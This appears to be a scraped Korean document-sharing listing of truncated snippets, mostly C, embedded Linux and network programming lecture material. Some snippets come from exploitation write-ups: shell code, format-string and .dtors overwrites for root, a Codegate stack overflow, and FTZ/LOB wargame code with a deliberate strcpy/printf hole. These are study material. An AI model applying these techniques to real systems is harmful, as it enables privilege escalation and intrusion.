PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4 Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x

More information

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx CrackMe 15.exe (in Simples) 문제풀이 동명대학교정보보호동아리 THINK www.mainthink.net 강동현 Blog: johnghb.tistory.com e-mail: cari2052@gmail.com 1 목차 : 1. 문제설명및기본분석 --------------------------- P. 03 2 상세분석 ---------------------------

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10 #define _CRT_SECURE_NO_WARNINGS #include #include main() { char ch; printf(" 문자 1개를입력하시오 : "); scanf("%c", &ch); if (isalpha(ch))

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Sensor Device Jo, Heeseung Sensor 실습 HBE-SM5-S4210 에는근접 / 가속도 / 컴파스센서가장착 각센서들을사용하기위한디바이스드라이버와어플리케이션을작성 2 근접 (Proximity) 센서 HBE-SM5-S4210 Camera Module 근접센서디바이스 근접센서는사물이다른사물에접촉되기이전에가까이접근하였는지를검출할목적으로사용 일반적으로생활에서자동문이나엘리베이터,

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

Microsoft Word doc

Microsoft Word doc 2. 디바이스드라이버 [ DIO ] 2.1. 개요 타겟보드의데이터버스를이용하여 LED 및스위치동작을제어하는방법을설명하겠다. 2.2. 회로도 2.3. 준비조건 ARM 용크로스컴파일러가설치되어있어야한다. 하드웨어적인점검을하여정상적인동작을한다고가정한다. NFS(Network File System) 를사용할경우에는 NFS가마운트되어있어야한다. 여기서는소스전문을포함하지않았다.

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

03장.스택.key

03장.스택.key ---------------- DATA STRUCTURES USING C ---------------- 03CHAPTER 1 ? (stack): (LIFO:Last-In First-Out) 2 : top : ( index -1 ),,, 3 : ( ) ( ) -> ->. ->.... 4 Stack ADT : (LIFO) : init():. is_empty():

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 4 장파일 컴퓨터과학과박환수 1 2 4.1 시스템호출 컴퓨터시스템구조 유닉스커널 (kernel) 하드웨어를운영관리하여다음과같은서비스를제공 파일관리 (File management) 프로세스관리 (Process management) 메모리관리 (Memory management) 통신관리 (Communication management) 주변장치관리 (Device

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

歯7장.PDF

歯7장.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

chap7.PDF

chap7.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Chapter 1

Chapter 1 3 Oracle 설치 Objectives Download Oracle 11g Release 2 Install Oracle 11g Release 2 Download Oracle SQL Developer 4.0.3 Install Oracle SQL Developer 4.0.3 Create a database connection 2 Download Oracle 11g

More information

untitled

untitled if( ) ; if( sales > 2000 ) bonus = 200; if( score >= 60 ) printf(".\n"); if( height >= 130 && age >= 10 ) printf(".\n"); if ( temperature < 0 ) printf(".\n"); // printf(" %.\n \n", temperature); // if(

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

untitled

untitled while do-while for break continue while( ) ; #include 0 i int main(void) int meter; int i = 0; while(i < 3) meter = i * 1609; printf("%d %d \n", i, meter); i++; return 0; i i< 3 () 0 (1)

More information

제12장 파일 입출력

제12장 파일 입출력 제 4 장파일입출력 리눅스시스템프로그래밍 청주대학교전자공학과 한철수 1 시스템호출 (system call) 파일 (file) 임의접근 (random access) 주요학습내용 2 4.1 절 커널의역할 (kernel) 커널 (kernel) 은운영체제의핵심부분으로서, 하드웨어를운영관리하는여러가지서비스를제공함 파일관리 (File management) 디스크 프로세스관리

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729> 8주차중간고사 ( 인터럽트및 A/D 변환기문제및풀이 ) Next-Generation Networks Lab. 외부입력인터럽트예제 문제 1 포트 A 의 7-segment 에초시계를구현한다. Tact 스위치 SW3 을 CPU 보드의 PE4 에연결한다. 그리고, SW3 을누르면하강 에지에서초시계가 00 으로초기화된다. 동시에 Tact 스위치 SW4 를 CPU 보드의

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어 개나리 연구소 C 언어 노트 (tyback.egloos.com) 프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어먹고 하더라구요. 그래서,

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 C 기초특강 종합과제 과제내용 구조체를이용하여교과목이름과코드를파일로부터입력받아관리 구조체를이용하여학생들의이름, 학번과이수한교과목의코드와점수를파일로부터입력 학생개인별총점, 평균계산 교과목별이수학생수, 총점및평균을계산 결과를파일에저장하는프로그램을작성 2 Makefile OBJS = score_main.o score_input.o score_calc.o score_print.o

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에

More information

°ø±â¾Ð±â±â

°ø±â¾Ð±â±â 20, 30, 40 20, 30, 40 1 2 3 4 5 6 7 8 9 10 3.1 6.3 9.4 12.6 15.7 18.8 22.0 25.1 28.3 31.4 2.4 4.7 7.1 9.4 11.8 14.1 16.5 18.8 21.2 23.6 7.1 14.1 21.2 28.3 35.3 42.4 49.5 56.5 63.6 70.7 5.9 11.9 17.8 23.7

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

C 프로그래밊 개요

C 프로그래밊 개요 구조체 2009 년 5 월 19 일 김경중 강의계획수정 일자계획 Quiz 실습보강 5 월 19 일 ( 화 ) 구조체 Quiz ( 함수 ) 5 월 21 일 ( 목 ) 구조체저녁 6 시 5 월 26 일 ( 화 ) 포인터 5 월 28 일 ( 목 ) 특강 (12:00-1:30) 6 월 2 일 ( 화 ) 포인터 Quiz ( 구조체 ) 저녁 6 시 6 월 4 일 ( 목

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D> 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 프로세스생성 [1] 프로그램실행

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 3/24 프로세스생성 [1]

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

$ret = ; $socket = fsockopen( , 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $ The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

C 언어 프로그래밊 과제 풀이

